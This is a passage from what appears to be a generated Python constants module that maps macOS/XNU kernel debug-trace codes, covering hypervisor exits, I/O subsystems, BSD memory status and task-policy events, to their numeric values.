= Constant('MACH_BRIDGE_REMOTE_TIME',0x2)\nMACH_BRIDGE_RESET_TS = Constant('MACH_BRIDGE_RESET_TS',0x3)\nMACH_BRIDGE_TS_PARAMS = Constant('MACH_BRIDGE_TS_PARAMS',0x4)\nMACH_BRIDGE_SKIP_TS = Constant('MACH_BRIDGE_SKIP_TS',0x5)\nMACH_BRIDGE_TS_MISMATCH = Constant('MACH_BRIDGE_TS_MISMATCH',0x6)\nMACH_BRIDGE_OBSV_RATE = Constant('MACH_BRIDGE_OBSV_RATE',0x7)\nMICROSTACKSHOT_RECORD = Constant('MICROSTACKSHOT_RECORD',0x0)\nMICROSTACKSHOT_GATHER = Constant('MICROSTACKSHOT_GATHER',0x1)\nSTACKSHOT_RECORD = Constant('STACKSHOT_RECORD',0x2)\nSTACKSHOT_RECORD_SHORT = Constant('STACKSHOT_RECORD_SHORT',0x3)\nSTACKSHOT_KERN_RECORD = Constant('STACKSHOT_KERN_RECORD',0x4)\nSYSDIAGNOSE_NOTIFY_USER = Constant('SYSDIAGNOSE_NOTIFY_USER',0x0)\nSYSDIAGNOSE_FULL = Constant('SYSDIAGNOSE_FULL',0x1)\nSYSDIAGNOSE_STACKSHOT = Constant('SYSDIAGNOSE_STACKSHOT',0x2)\nSYSDIAGNOSE_TAILSPIN = Constant('SYSDIAGNOSE_TAILSPIN',0x3)\nSFI_SET_WINDOW = Constant('SFI_SET_WINDOW',0x0)\nSFI_CANCEL_WINDOW = Constant('SFI_CANCEL_WINDOW',0x1)\nSFI_SET_CLASS_OFFTIME = Constant('SFI_SET_CLASS_OFFTIME',0x2)\nSFI_CANCEL_CLASS_OFFTIME = Constant('SFI_CANCEL_CLASS_OFFTIME',0x3)\nSFI_THREAD_DEFER = Constant('SFI_THREAD_DEFER',0x4)\nSFI_OFF_TIMER = Constant('SFI_OFF_TIMER',0x5)\nSFI_ON_TIMER = Constant('SFI_ON_TIMER',0x6)\nSFI_WAIT_CANCELED = Constant('SFI_WAIT_CANCELED',0x7)\nSFI_PID_SET_MANAGED = Constant('SFI_PID_SET_MANAGED',0x8)\nSFI_PID_CLEAR_MANAGED = Constant('SFI_PID_CLEAR_MANAGED',0x9)\nSFI_GLOBAL_DEFER = Constant('SFI_GLOBAL_DEFER',0xa)\nZALLOC_ZCRAM = Constant('ZALLOC_ZCRAM',0x0)\nRMON_ENABLE_CPUUSAGE_MONITOR = Constant('RMON_ENABLE_CPUUSAGE_MONITOR',0x001)\nRMON_CPUUSAGE_VIOLATED = Constant('RMON_CPUUSAGE_VIOLATED',0x002)\nRMON_CPUUSAGE_SUSPENDED = Constant('RMON_CPUUSAGE_SUSPENDED',0x003)\nRMON_CPUUSAGE_VIOLATED_K32A = Constant('RMON_CPUUSAGE_VIOLATED_K32A',0x004)\nRMON_CPUUSAGE_VIOLATED_K32B = Constant('RMON_CPUUSAGE_VIOLATED_K32B',0x005)\nRMON_CPUUSAGE_RESUMED = Constant('RMON_CPUUSAGE_RESUMED',0x006)\nRMON_DISABLE_CPUUSAGE_MONITOR = Constant('RMON_DISABLE_CPUUSAGE_MONITOR',0x00f)\nRMON_ENABLE_CPUWAKES_MONITOR = Constant('RMON_ENABLE_CPUWAKES_MONITOR',0x011)\nRMON_CPUWAKES_VIOLATED = Constant('RMON_CPUWAKES_VIOLATED',0x012)\nRMON_CPUWAKES_VIOLATED_K32A = Constant('RMON_CPUWAKES_VIOLATED_K32A',0x014)\nRMON_CPUWAKES_VIOLATED_K32B = Constant('RMON_CPUWAKES_VIOLATED_K32B',0x015)\nRMON_DISABLE_CPUWAKES_MONITOR = Constant('RMON_DISABLE_CPUWAKES_MONITOR',0x01f)\nRMON_ENABLE_IO_MONITOR = Constant('RMON_ENABLE_IO_MONITOR',0x021)\nRMON_LOGWRITES_VIOLATED = Constant('RMON_LOGWRITES_VIOLATED',0x022)\nRMON_PHYSWRITES_VIOLATED = Constant('RMON_PHYSWRITES_VIOLATED',0x023)\nRMON_LOGWRITES_VIOLATED_K32A = Constant('RMON_LOGWRITES_VIOLATED_K32A',0x024)\nRMON_LOGWRITES_VIOLATED_K32B = Constant('RMON_LOGWRITES_VIOLATED_K32B',0x025)\nRMON_DISABLE_IO_MONITOR = Constant('RMON_DISABLE_IO_MONITOR',0x02f)\nHV_X86_ENTER = Constant('HV_X86_ENTER',0x00)\nHV_X86_ENTER_ERROR = Constant('HV_X86_ENTER_ERROR',0x01)\nHV_X86_TRAP_TASK = Constant('HV_X86_TRAP_TASK',0x02)\nHV_X86_TRAP_THREAD = Constant('HV_X86_TRAP_THREAD',0x03)\nHV_X86_INTERRUPT_INJECT = Constant('HV_X86_INTERRUPT_INJECT',0x04)\nHV_X86_INTERRUPT_RECV = Constant('HV_X86_INTERRUPT_RECV',0x05)\nHV_X86_INTERRUPT_SEND = Constant('HV_X86_INTERRUPT_SEND',0x06)\nHV_X86_IPI_SEND = Constant('HV_X86_IPI_SEND',0x07)\nHV_X86_NMI_INJECT = Constant('HV_X86_NMI_INJECT',0x08)\nHV_X86_NMI_SEND = Constant('HV_X86_NMI_SEND',0x09)\nHV_X86_LSC_HIT = Constant('HV_X86_LSC_HIT',0x0a)\nHV_X86_LSC_INSERT = Constant('HV_X86_LSC_INSERT',0x0b)\nHV_X86_LSC_INSERT_IMM32 = Constant('HV_X86_LSC_INSERT_IMM32',0x0c)\nHV_X86_LSC_INVALID = Constant('HV_X86_LSC_INVALID',0x0d)\nHV_X86_LSC_INVALIDATE = Constant('HV_X86_LSC_INVALIDATE',0x0e)\nHV_X86_LSC_MISS = Constant('HV_X86_LSC_MISS',0x0f)\nHV_X86_TIMER_CANCEL = Constant('HV_X86_TIMER_CANCEL',0x10)\nHV_X86_TIMER_FIRE = Constant('HV_X86_TIMER_FIRE',0x11)\nHV_X86_TIMER_SCHEDULE = Constant('HV_X86_TIMER_SCHEDULE',0x12)\nHV_X86_APIC_ACCESS_EXIT = Constant('HV_X86_APIC_ACCESS_EXIT',0x13)\nHV_X86_APIC_WRITE_EXIT = Constant('HV_X86_APIC_WRITE_EXIT',0x14)\nHV_X86_EPT_VIOLATION_EXIT = Constant('HV_X86_EPT_VIOLATION_EXIT',0x15)\nHV_X86_EXC_NMI_EXIT = Constant('HV_X86_EXC_NMI_EXIT',0x16)\nHV_X86_HLT_EXIT = Constant('HV_X86_HLT_EXIT',0x17)\nHV_X86_IO_EXIT = Constant('HV_X86_IO_EXIT',0x18)\nHV_X86_IRQ_EXIT = Constant('HV_X86_IRQ_EXIT',0x19)\nHV_X86_IRQ_WND_EXIT = Constant('HV_X86_IRQ_WND_EXIT',0x1a)\nHV_X86_MOV_DR_EXIT = Constant('HV_X86_MOV_DR_EXIT',0x1b)\nHV_X86_NMI_WND_EXIT = Constant('HV_X86_NMI_WND_EXIT',0x1c)\nHV_X86_RDMSR_EXIT = Constant('HV_X86_RDMSR_EXIT',0x1d)\nHV_X86_RDPMC_EXIT = Constant('HV_X86_RDPMC_EXIT',0x1e)\nHV_X86_TPR_THRESHOLD_EXIT = Constant('HV_X86_TPR_THRESHOLD_EXIT',0x1f)\nHV_X86_VMX_TIMER_EXPIRED_EXIT = Constant('HV_X86_VMX_TIMER_EXPIRED_EXIT',0x20)\nHV_X86_WRMSR_EXIT = Constant('HV_X86_WRMSR_EXIT',0x21)\nHV_X86_VCPU_READ_APIC_TRAP = Constant('HV_X86_VCPU_READ_APIC_TRAP',0x22)\nHV_X86_VCPU_READ_VMCS_TRAP = Constant('HV_X86_VCPU_READ_VMCS_TRAP',0x23)\nHV_X86_VCPU_RUN_TRAP = Constant('HV_X86_VCPU_RUN_TRAP',0x24)\nHV_X86_VCPU_RUN_UNTIL_TRAP = Constant('HV_X86_VCPU_RUN_UNTIL_TRAP',0x25)\nHV_X86_VCPU_WRITE_APIC_TRAP = Constant('HV_X86_VCPU_WRITE_APIC_TRAP',0x26)\nHV_X86_VM_ADDRSPACE_CREATE_TRAP = Constant('HV_X86_VM_ADDRSPACE_CREATE_TRAP',0x27)\nHV_X86_VM_ADDRSPACE_DESTROY_TRAP = Constant('HV_X86_VM_ADDRSPACE_DESTROY_TRAP',0x28)\nHV_X86_VM_INTR_MSI_TRAP = Constant('HV_X86_VM_INTR_MSI_TRAP',0x29)\nHV_X86_VM_MAP_TRAP = Constant('HV_X86_VM_MAP_TRAP',0x2a)\nHV_X86_VM_PROTECT_TRAP = Constant('HV_X86_VM_PROTECT_TRAP',0x2b)\nHV_X86_VM_UNMAP_TRAP = Constant('HV_X86_VM_UNMAP_TRAP',0x2c)\nHV_X86_TSC_OFFSET_SET = Constant('HV_X86_TSC_OFFSET_SET',0x2d)\nVM_RECLAIM_UPDATE_ACCOUNTING = Constant('VM_RECLAIM_UPDATE_ACCOUNTING',0x01)\nVM_RECLAIM_ENTRIES = Constant('VM_RECLAIM_ENTRIES',0x02)\nVM_RECLAIM_CHUNK = Constant('VM_RECLAIM_CHUNK',0x03)\nVM_RECLAIM_ENTRY = Constant('VM_RECLAIM_ENTRY',0x04)\nVM_RECLAIM_ALL_MEMORY = Constant('VM_RECLAIM_ALL_MEMORY',0x05)\nVM_RECLAIM_ASYNC_MEMORY = Constant('VM_RECLAIM_ASYNC_MEMORY',0x06)\nVM_RECLAIM_INIT = Constant('VM_RECLAIM_INIT',0x07)\nDBG_NETIP = Constant('DBG_NETIP',1)\nDBG_NETARP = Constant('DBG_NETARP',2)\nDBG_NETUDP = Constant('DBG_NETUDP',3)\nDBG_NETTCP = Constant('DBG_NETTCP',4)\nDBG_NETICMP = Constant('DBG_NETICMP',5)\nDBG_NETIGMP = Constant('DBG_NETIGMP',6)\nDBG_NETRIP = Constant('DBG_NETRIP',7)\nDBG_NETOSPF = Constant('DBG_NETOSPF',8)\nDBG_NETISIS = Constant('DBG_NETISIS',9)\nDBG_NETSNMP = Constant('DBG_NETSNMP',10)\nDBG_NETSOCK = Constant('DBG_NETSOCK',11)\nDBG_NETAARP = Constant('DBG_NETAARP',100)\nDBG_NETDDP = Constant('DBG_NETDDP',101)\nDBG_NETNBP = Constant('DBG_NETNBP',102)\nDBG_NETZIP = Constant('DBG_NETZIP',103)\nDBG_NETADSP = Constant('DBG_NETADSP',104)\nDBG_NETATP = Constant('DBG_NETATP',105)\nDBG_NETASP = Constant('DBG_NETASP',106)\nDBG_NETAFP = Constant('DBG_NETAFP',107)\nDBG_NETRTMP = Constant('DBG_NETRTMP',108)\nDBG_NETAURP = Constant('DBG_NETAURP',109)\nDBG_NETIPSEC = Constant('DBG_NETIPSEC',128)\nDBG_NETVMNET = Constant('DBG_NETVMNET',129)\nDBG_IOINTC = Constant('DBG_IOINTC',0)\nDBG_IOWORKLOOP = Constant('DBG_IOWORKLOOP',1)\nDBG_IOINTES = Constant('DBG_IOINTES',2)\nDBG_IOCLKES = Constant('DBG_IOCLKES',3)\nDBG_IOCMDQ = Constant('DBG_IOCMDQ',4)\nDBG_IOMCURS = Constant('DBG_IOMCURS',5)\nDBG_IOMDESC = Constant('DBG_IOMDESC',6)\nDBG_IOPOWER = Constant('DBG_IOPOWER',7)\nDBG_IOSERVICE = Constant('DBG_IOSERVICE',8)\nDBG_IOREGISTRY = Constant('DBG_IOREGISTRY',9)\nDBG_IOPORT = Constant('DBG_IOPORT',10)\nDBG_IOSTORAGE = Constant('DBG_IOSTORAGE',32)\nDBG_IONETWORK = Constant('DBG_IONETWORK',33)\nDBG_IOKEYBOARD = Constant('DBG_IOKEYBOARD',34)\nDBG_IOHID = Constant('DBG_IOHID',35)\nDBG_IOAUDIO = Constant('DBG_IOAUDIO',36)\nDBG_IOSERIAL = Constant('DBG_IOSERIAL',37)\nDBG_IOTTY = Constant('DBG_IOTTY',38)\nDBG_IOSAM = Constant('DBG_IOSAM',39)\nDBG_IOPARALLELATA = Constant('DBG_IOPARALLELATA',40)\nDBG_IOPARALLELSCSI = Constant('DBG_IOPARALLELSCSI',41)\nDBG_IOSATA = Constant('DBG_IOSATA',42)\nDBG_IOSAS = Constant('DBG_IOSAS',43)\nDBG_IOFIBRECHANNEL = Constant('DBG_IOFIBRECHANNEL',44)\nDBG_IOUSB = Constant('DBG_IOUSB',45)\nDBG_IOBLUETOOTH = Constant('DBG_IOBLUETOOTH',46)\nDBG_IOFIREWIRE = Constant('DBG_IOFIREWIRE',47)\nDBG_IOINFINIBAND = Constant('DBG_IOINFINIBAND',48)\nDBG_IOCPUPM = Constant('DBG_IOCPUPM',49)\nDBG_IOGRAPHICS = Constant('DBG_IOGRAPHICS',50)\nDBG_HIBERNATE = Constant('DBG_HIBERNATE',51)\nDBG_IOTHUNDERBOLT = Constant('DBG_IOTHUNDERBOLT',52)\nDBG_BOOTER = Constant('DBG_BOOTER',53)\nDBG_IOAUDIO2 = Constant('DBG_IOAUDIO2',54)\nDBG_IOAFK = Constant('DBG_IOAFK',55)\nDBG_IOSURFACEPA = Constant('DBG_IOSURFACEPA',64)\nDBG_IOMDPA = Constant('DBG_IOMDPA',65)\nDBG_IODARTPA = Constant('DBG_IODARTPA',66)\nDBG_DRVSTORAGE = Constant('DBG_DRVSTORAGE',1)\nDBG_DRVNETWORK = Constant('DBG_DRVNETWORK',2)\nDBG_DRVKEYBOARD = Constant('DBG_DRVKEYBOARD',3)\nDBG_DRVHID = Constant('DBG_DRVHID',4)\nDBG_DRVAUDIO = Constant('DBG_DRVAUDIO',5)\nDBG_DRVSERIAL = Constant('DBG_DRVSERIAL',7)\nDBG_DRVSAM = Constant('DBG_DRVSAM',8)\nDBG_DRVPARALLELATA = Constant('DBG_DRVPARALLELATA',9)\nDBG_DRVPARALLELSCSI = Constant('DBG_DRVPARALLELSCSI',10)\nDBG_DRVSATA = Constant('DBG_DRVSATA',11)\nDBG_DRVSAS = Constant('DBG_DRVSAS',12)\nDBG_DRVFIBRECHANNEL = Constant('DBG_DRVFIBRECHANNEL',13)\nDBG_DRVUSB = Constant('DBG_DRVUSB',14)\nDBG_DRVBLUETOOTH = Constant('DBG_DRVBLUETOOTH',15)\nDBG_DRVFIREWIRE = Constant('DBG_DRVFIREWIRE',16)\nDBG_DRVINFINIBAND = Constant('DBG_DRVINFINIBAND',17)\nDBG_DRVGRAPHICS = Constant('DBG_DRVGRAPHICS',18)\nDBG_DRVSD = Constant('DBG_DRVSD',19)\nDBG_DRVNAND = Constant('DBG_DRVNAND',20)\nDBG_SSD = Constant('DBG_SSD',21)\nDBG_DRVSPI = Constant('DBG_DRVSPI',22)\nDBG_DRVWLAN_802_11 = Constant('DBG_DRVWLAN_802_11',23)\nDBG_DRVSSM = Constant('DBG_DRVSSM',24)\nDBG_DRVSMC = Constant('DBG_DRVSMC',25)\nDBG_DRVMACEFIMANAGER = Constant('DBG_DRVMACEFIMANAGER',26)\nDBG_DRVANE = Constant('DBG_DRVANE',27)\nDBG_DRVETHERNET = Constant('DBG_DRVETHERNET',28)\nDBG_DRVMCC = Constant('DBG_DRVMCC',29)\nDBG_DRVACCESSORY = Constant('DBG_DRVACCESSORY',30)\nDBG_SOCDIAGS = Constant('DBG_SOCDIAGS',31)\nDBG_DRVVIRTIO = Constant('DBG_DRVVIRTIO',32)\nDBG_DRVCELLULAR = Constant('DBG_DRVCELLULAR',33)\nDBG_DRVSPMI = Constant('DBG_DRVSPMI',34)\nDBG_DLIL_STATIC = Constant('DBG_DLIL_STATIC',1)\nDBG_DLIL_PR_MOD = Constant('DBG_DLIL_PR_MOD',2)\nDBG_DLIL_IF_MOD = Constant('DBG_DLIL_IF_MOD',3)\nDBG_DLIL_PR_FLT = Constant('DBG_DLIL_PR_FLT',4)\nDBG_DLIL_IF_FLT = Constant('DBG_DLIL_IF_FLT',5)\nDBG_FSRW = Constant('DBG_FSRW',0x1)\nDBG_DKRW = Constant('DBG_DKRW',0x2)\nDBG_FSVN = Constant('DBG_FSVN',0x3)\nDBG_FSLOOOKUP = Constant('DBG_FSLOOOKUP',0x4)\nDBG_JOURNAL = Constant('DBG_JOURNAL',0x5)\nDBG_IOCTL = Constant('DBG_IOCTL',0x6)\nDBG_BOOTCACHE = Constant('DBG_BOOTCACHE',0x7)\nDBG_HFS = Constant('DBG_HFS',0x8)\nDBG_APFS = Constant('DBG_APFS',0x9)\nDBG_SMB = Constant('DBG_SMB',0xA)\nDBG_MOUNT = Constant('DBG_MOUNT',0xB)\nDBG_EXFAT = Constant('DBG_EXFAT',0xE)\nDBG_MSDOS = Constant('DBG_MSDOS',0xF)\nDBG_ACFS = Constant('DBG_ACFS',0x10)\nDBG_THROTTLE = Constant('DBG_THROTTLE',0x11)\nDBG_DECMP = Constant('DBG_DECMP',0x12)\nDBG_VFS = Constant('DBG_VFS',0x13)\nDBG_LIVEFS = Constant('DBG_LIVEFS',0x14)\nDBG_NFS = Constant('DBG_NFS',0x15)\nDBG_CONTENT_PROT = Constant('DBG_CONTENT_PROT',0xCF)\nDBG_HFS_UPDATE_ACCTIME = Constant('DBG_HFS_UPDATE_ACCTIME',0x01)\nDBG_HFS_UPDATE_MODTIME = Constant('DBG_HFS_UPDATE_MODTIME',0x02)\nDBG_HFS_UPDATE_CHGTIME = Constant('DBG_HFS_UPDATE_CHGTIME',0x04)\nDBG_HFS_UPDATE_MODIFIED = Constant('DBG_HFS_UPDATE_MODIFIED',0x08)\nDBG_HFS_UPDATE_FORCE = Constant('DBG_HFS_UPDATE_FORCE',0x10)\nDBG_HFS_UPDATE_DATEADDED = Constant('DBG_HFS_UPDATE_DATEADDED',0x20)\nDBG_HFS_UPDATE_MINOR = Constant('DBG_HFS_UPDATE_MINOR',0x40)\nDBG_HFS_UPDATE_SKIPPED = Constant('DBG_HFS_UPDATE_SKIPPED',0x80)\nDBG_VFS_IO_COMPRESSION_STATS = Constant('DBG_VFS_IO_COMPRESSION_STATS',0x1000)\nDBG_BSD_PROC = Constant('DBG_BSD_PROC',0x01)\nDBG_BSD_MEMSTAT = Constant('DBG_BSD_MEMSTAT',0x02)\nDBG_BSD_KEVENT = Constant('DBG_BSD_KEVENT',0x03)\nDBG_BSD_EXCP_SC = Constant('DBG_BSD_EXCP_SC',0x0C)\nDBG_BSD_AIO = Constant('DBG_BSD_AIO',0x0D)\nDBG_BSD_SC_EXTENDED_INFO = Constant('DBG_BSD_SC_EXTENDED_INFO',0x0E)\nDBG_BSD_SC_EXTENDED_INFO2 = Constant('DBG_BSD_SC_EXTENDED_INFO2',0x0F)\nDBG_BSD_KDEBUG_TEST = Constant('DBG_BSD_KDEBUG_TEST',0xFF)\nBSD_PROC_EXIT = Constant('BSD_PROC_EXIT',1)\nBSD_PROC_FRCEXIT = Constant('BSD_PROC_FRCEXIT',2)\nBSD_PROC_EXEC = Constant('BSD_PROC_EXEC',3)\nBSD_PROC_EXITREASON_CREATE = Constant('BSD_PROC_EXITREASON_CREATE',4)\nBSD_PROC_EXITREASON_COMMIT = Constant('BSD_PROC_EXITREASON_COMMIT',5)\nBSD_MEMSTAT_SCAN = Constant('BSD_MEMSTAT_SCAN',1)\nBSD_MEMSTAT_JETSAM = Constant('BSD_MEMSTAT_JETSAM',2)\nBSD_MEMSTAT_JETSAM_HIWAT = Constant('BSD_MEMSTAT_JETSAM_HIWAT',3)\nBSD_MEMSTAT_FREEZE = Constant('BSD_MEMSTAT_FREEZE',4)\nBSD_MEMSTAT_FREEZE_SCAN = Constant('BSD_MEMSTAT_FREEZE_SCAN',5)\nBSD_MEMSTAT_UPDATE = Constant('BSD_MEMSTAT_UPDATE',6)\nBSD_MEMSTAT_IDLE_DEMOTE = Constant('BSD_MEMSTAT_IDLE_DEMOTE',7)\nBSD_MEMSTAT_CLEAR_ERRORS = Constant('BSD_MEMSTAT_CLEAR_ERRORS',8)\nBSD_MEMSTAT_DIRTY_TRACK = Constant('BSD_MEMSTAT_DIRTY_TRACK',9)\nBSD_MEMSTAT_DIRTY_SET = Constant('BSD_MEMSTAT_DIRTY_SET',10)\nBSD_MEMSTAT_DIRTY_CLEAR = Constant('BSD_MEMSTAT_DIRTY_CLEAR',11)\nBSD_MEMSTAT_FAST_JETSAM = Constant('BSD_MEMSTAT_FAST_JETSAM',15)\nBSD_MEMSTAT_COMPACTOR_RUN = Constant('BSD_MEMSTAT_COMPACTOR_RUN',16)\nBSD_MEMSTAT_FREEZE_DISABLE = Constant('BSD_MEMSTAT_FREEZE_DISABLE',17)\nBSD_MEMSTAT_RELAUNCH_FLAGS = Constant('BSD_MEMSTAT_RELAUNCH_FLAGS',18)\nBSD_KEVENT_KQ_PROCESS_BEGIN = Constant('BSD_KEVENT_KQ_PROCESS_BEGIN',1)\nBSD_KEVENT_KQ_PROCESS_END = Constant('BSD_KEVENT_KQ_PROCESS_END',2)\nBSD_KEVENT_KQWQ_PROCESS_BEGIN = Constant('BSD_KEVENT_KQWQ_PROCESS_BEGIN',3)\nBSD_KEVENT_KQWQ_PROCESS_END = Constant('BSD_KEVENT_KQWQ_PROCESS_END',4)\nBSD_KEVENT_KQWQ_BIND = Constant('BSD_KEVENT_KQWQ_BIND',5)\nBSD_KEVENT_KQWQ_UNBIND = Constant('BSD_KEVENT_KQWQ_UNBIND',6)\nBSD_KEVENT_KQWQ_THREQUEST = Constant('BSD_KEVENT_KQWQ_THREQUEST',7)\nBSD_KEVENT_KQWL_PROCESS_BEGIN = Constant('BSD_KEVENT_KQWL_PROCESS_BEGIN',8)\nBSD_KEVENT_KQWL_PROCESS_END = Constant('BSD_KEVENT_KQWL_PROCESS_END',9)\nBSD_KEVENT_KQWL_THREQUEST = Constant('BSD_KEVENT_KQWL_THREQUEST',10)\nBSD_KEVENT_KQWL_THADJUST = Constant('BSD_KEVENT_KQWL_THADJUST',11)\nBSD_KEVENT_KQ_REGISTER = Constant('BSD_KEVENT_KQ_REGISTER',12)\nBSD_KEVENT_KQWQ_REGISTER = Constant('BSD_KEVENT_KQWQ_REGISTER',13)\nBSD_KEVENT_KQWL_REGISTER = Constant('BSD_KEVENT_KQWL_REGISTER',14)\nBSD_KEVENT_KNOTE_ACTIVATE = Constant('BSD_KEVENT_KNOTE_ACTIVATE',15)\nBSD_KEVENT_KQ_PROCESS = Constant('BSD_KEVENT_KQ_PROCESS',16)\nBSD_KEVENT_KQWQ_PROCESS = Constant('BSD_KEVENT_KQWQ_PROCESS',17)\nBSD_KEVENT_KQWL_PROCESS = Constant('BSD_KEVENT_KQWL_PROCESS',18)\nBSD_KEVENT_KQWL_BIND = Constant('BSD_KEVENT_KQWL_BIND',19)\nBSD_KEVENT_KQWL_UNBIND = Constant('BSD_KEVENT_KQWL_UNBIND',20)\nBSD_KEVENT_KNOTE_ENABLE = Constant('BSD_KEVENT_KNOTE_ENABLE',21)\nBSD_KEVENT_KNOTE_VANISHED = Constant('BSD_KEVENT_KNOTE_VANISHED',22)\nDBG_TRACE_DATA = Constant('DBG_TRACE_DATA',0)\nDBG_TRACE_STRING = Constant('DBG_TRACE_STRING',1)\nDBG_TRACE_INFO = Constant('DBG_TRACE_INFO',2)\nDBG_CS_IO = Constant('DBG_CS_IO',0)\nDBG_SEC_KERNEL = Constant('DBG_SEC_KERNEL',0)\nDBG_SEC_SANDBOX = Constant('DBG_SEC_SANDBOX',1)\nDBG_MT_INSTRS_CYCLES = Constant('DBG_MT_INSTRS_CYCLES',1)\nDBG_MT_DEBUG = Constant('DBG_MT_DEBUG',2)\nDBG_MT_RESOURCES_PROC_EXIT = Constant('DBG_MT_RESOURCES_PROC_EXIT',3)\nDBG_MT_RESOURCES_THR_EXIT = Constant('DBG_MT_RESOURCES_THR_EXIT',4)\nDBG_MT_INSTRS_CYCLES_ON_CPU = Constant('DBG_MT_INSTRS_CYCLES_ON_CPU',5)\nDBG_MT_TMPTH = Constant('DBG_MT_TMPTH',0xfe)\nDBG_MT_TMPCPU = Constant('DBG_MT_TMPCPU',0xff)\nDBG_MISC_COREBRIGHTNESS = Constant('DBG_MISC_COREBRIGHTNESS',0x01)\nDBG_MISC_VIDEOENG = Constant('DBG_MISC_VIDEOENG',0x02)\nDBG_EVENT = Constant('DBG_EVENT',0x10)\nDBG_MISC_INSTRUMENTS = Constant('DBG_MISC_INSTRUMENTS',0x11)\nDBG_MISC_INSTRUMENTSBT = Constant('DBG_MISC_INSTRUMENTSBT',0x12)\nDBG_MISC_RUNLOOP_DETAILS = Constant('DBG_MISC_RUNLOOP_DETAILS',0x13)\nDBG_MISC_RUNLOOP_BUSY = Constant('DBG_MISC_RUNLOOP_BUSY',0x14)\nDBG_MISC_LAYOUT = Constant('DBG_MISC_LAYOUT',0x1a)\nDBG_BUFFER = Constant('DBG_BUFFER',0x20)\nDKIO_DONE = Constant('DKIO_DONE',0x01)\nDKIO_READ = Constant('DKIO_READ',0x02)\nDKIO_ASYNC = Constant('DKIO_ASYNC',0x04)\nDKIO_META = Constant('DKIO_META',0x08)\nDKIO_PAGING = Constant('DKIO_PAGING',0x10)\nDKIO_THROTTLE = Constant('DKIO_THROTTLE',0x20)\nDKIO_PASSIVE = Constant('DKIO_PASSIVE',0x40)\nDKIO_NOCACHE = Constant('DKIO_NOCACHE',0x80)\nDKIO_TIER_MASK = Constant('DKIO_TIER_MASK',0xF00)\nDKIO_TIER_SHIFT = Constant('DKIO_TIER_SHIFT',8)\nDKIO_TIER_UPGRADE = Constant('DKIO_TIER_UPGRADE',0x1000)\nDBG_APP_LOGINWINDOW = Constant('DBG_APP_LOGINWINDOW',0x03)\nDBG_APP_AUDIO = Constant('DBG_APP_AUDIO',0x04)\nDBG_APP_SYSTEMUI = Constant('DBG_APP_SYSTEMUI',0x05)\nDBG_APP_SIGNPOST = Constant('DBG_APP_SIGNPOST',0x0A)\nDBG_APP_TAL = Constant('DBG_APP_TAL',0x0B)\nDBG_APP_APPKIT = Constant('DBG_APP_APPKIT',0x0C)\nDBG_APP_UIKIT = Constant('DBG_APP_UIKIT',0x0D)\nDBG_APP_DFR = Constant('DBG_APP_DFR',0x0E)\nDBG_APP_LAYOUT = Constant('DBG_APP_LAYOUT',0x0F)\nDBG_APP_COREDATA = Constant('DBG_APP_COREDATA',0x10)\nDBG_APP_RUNLOOP_BASIC = Constant('DBG_APP_RUNLOOP_BASIC',0x11)\nDBG_APP_RUNLOOP_ADVANCED = Constant('DBG_APP_RUNLOOP_ADVANCED',0x12)\nDBG_APP_SAMBA = Constant('DBG_APP_SAMBA',0x80)\nDBG_APP_EOSSUPPORT = Constant('DBG_APP_EOSSUPPORT',0x81)\nDBG_APP_MACEFIMANAGER = Constant('DBG_APP_MACEFIMANAGER',0x82)\nDBG_APP_ENTERPRISE = Constant('DBG_APP_ENTERPRISE',0x83)\nOPEN_THROTTLE_WINDOW = Constant('OPEN_THROTTLE_WINDOW',0x1)\nPROCESS_THROTTLED = Constant('PROCESS_THROTTLED',0x2)\nIO_THROTTLE_DISABLE = Constant('IO_THROTTLE_DISABLE',0x3)\nIO_TIER_UPL_MISMATCH = Constant('IO_TIER_UPL_MISMATCH',0x4)\nIMP_ASSERTION = Constant('IMP_ASSERTION',0x10)\nIMP_BOOST = Constant('IMP_BOOST',0x11)\nIMP_MSG = Constant('IMP_MSG',0x12)\nIMP_WATCHPORT = Constant('IMP_WATCHPORT',0x13)\nIMP_TASK_SUPPRESSION = Constant('IMP_TASK_SUPPRESSION',0x17)\nIMP_TASK_APPTYPE = Constant('IMP_TASK_APPTYPE',0x18)\nIMP_UPDATE = Constant('IMP_UPDATE',0x19)\nIMP_USYNCH_QOS_OVERRIDE = Constant('IMP_USYNCH_QOS_OVERRIDE',0x1A)\nIMP_DONOR_CHANGE = Constant('IMP_DONOR_CHANGE',0x1B)\nIMP_MAIN_THREAD_QOS = Constant('IMP_MAIN_THREAD_QOS',0x1C)\nIMP_SYNC_IPC_QOS = Constant('IMP_SYNC_IPC_QOS',0x1D)\nIMP_TASK_POLICY_DARWIN_BG = Constant('IMP_TASK_POLICY_DARWIN_BG',0x21)\nIMP_TASK_POLICY_IOPOL = Constant('IMP_TASK_POLICY_IOPOL',0x22)\nIMP_TASK_POLICY_IO = Constant('IMP_TASK_POLICY_IO',0x23)\nIMP_TASK_POLICY_PASSIVE_IO = Constant('IMP_TASK_POLICY_PASSIVE_IO',0x24)\nIMP_TASK_POLICY_DARWIN_BG_IOPOL = Constant('IMP_TASK_POLICY_DARWIN_BG_IOPOL',0x27)\nIMP_TASK_POLICY_BOOST = Constant('IMP_TASK_POLICY_BOOST',0x29)\nIMP_TASK_POLICY_ROLE = Constant('IMP_TASK_POLICY_ROLE',0x2A)\nIMP_TASK_POLICY_TERMINATED = Constant('IMP_TASK_POLICY_TERMINATED',0x2C)\nIMP_TASK_POLICY_NEW_SOCKETS_BG = Constant('IMP_TASK_POLICY_NEW_SOCKETS_BG',0x2D)\nIMP_TASK_POLICY_SUP_ACTIVE = Constant('IMP_TASK_POLICY_SUP_ACTIVE',0x2E)\nIMP_TASK_POLICY_LATENCY_QOS = Constant('IMP_TASK_POLICY_LATENCY_QOS',0x2F)\nIMP_TASK_POLICY_THROUGH_QOS = Constant('IMP_TASK_POLICY_THROUGH_QOS',0x30)\nIMP_TASK_POLICY_WATCHERS_BG = Constant('IMP_TASK_POLICY_WATCHERS_BG',0x31)\nIMP_TASK_POLICY_SFI_MANAGED = Constant('IMP_TASK_POLICY_SFI_MANAGED',0x34)\nIMP_TASK_POLICY_ALL_SOCKETS_BG = Constant('IMP_TASK_POLICY_ALL_SOCKETS_BG',0x37)\nIMP_TASK_POLICY_BASE_LATENCY_AND_THROUGHPUT_QOS = Constant('IMP_TASK_POLICY_BASE_LATENCY_AND_THROUGHPUT_QOS',0x39)\nIMP_TASK_POLICY_OVERRIDE_LATENCY_AND_THROUGHPUT_QOS = Constant('IMP_TASK_POLICY_OVERRIDE_LATENCY_AND_THROUGHPUT_QOS',0x3A)\nIMP_TASK_POLICY_PIDBIND_BG = 